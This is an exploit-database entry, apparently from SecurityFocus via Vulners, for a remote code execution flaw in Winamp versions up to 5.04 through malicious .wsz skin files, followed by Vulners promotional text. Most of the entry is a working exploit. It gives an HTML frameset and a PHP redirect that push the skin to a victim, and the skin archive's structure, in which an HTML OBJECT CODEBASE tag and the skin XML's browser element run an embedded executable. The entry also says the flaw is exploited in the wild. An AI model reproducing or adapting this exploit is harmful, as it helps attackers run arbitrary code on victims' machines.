NullSoft Winamp 2.4 < 5.0.4 - '.wsz' Remote Code Execution
source: https://www.securityfocus.com/bid/11053/info
A vulnerability in Winamp has been discovered that may permit remote attackers to execute arbitrary code on client computers through a malicious .WSZ Winamp skin file. This issue is currently being exploited in the wild.
This vulnerability may be exploited through a Web site, or any other means that will allow the attacker to transmit the malicious file to a victim user.
This vulnerability is reported to affect all versions of Winamp up to and including 5.04.
index.html
-----------
<html>
<head>
</head>
<frameset rows="*,1" framespacing="0" border="0" frameborder="NO">
<frame src="load.php" name="frame_content" scrolling="auto" noresize>
</frameset>
<noframes>
<body>
</body>
</noframes>
</html>
Load.php
---------
<?php
$httpref = $HTTP_REFERER;
header("Location: http://URL/foo.wsz");
?>
foo.wsz (foo.zip)
-----------------
/frame/
/maki/
/shade/
/html/
/html/file.exe (malicious file to execute)
/html/test.htm (html to load the .exe)
/player/
/player/Thumbs.db
/xml/
/xml/includes.xml
/xml/player-normal.xml
/xml/player.xml
/skin.xml
/html/test.htm
----------------
<html>
<OBJECT NAME='X' CLASSID='CLSID:11111111-1111-1111-1111-111111111123' CODEBASE='file.exe'>
</html>
/xml/includes.xml
-------------------
<include file="player.xml"/>
/xml/player-normal.xml
-------------------------
<layout>
<browser id="browser" x="0" y="0" w="0" h="0" relatw="1" relath="1" url="file:///@SKINPATH@html/test.htm" />
</layout>
/xml/player.xml
-----------------
<container id="main" name="main">
<include file="player-normal.xml"/>
</container>
/skin.xml
---------
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<WinampAbstractionLayer version="1.1">
<skininfo>
<version>1.0</version>
<name>Batman</name>
<comment></comment>
<author>Petrol Designs</author>
<email>[email protected]</email>
<homepage>http://www.petroldesigns.com</homepage>
</skininfo>
<include file="xml/includes.xml"/>
<!--
-->
</WinampAbstractionLayer>Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
27 Jun 2017 00:00Current
5.8Medium risk
Vulners AI Score5.8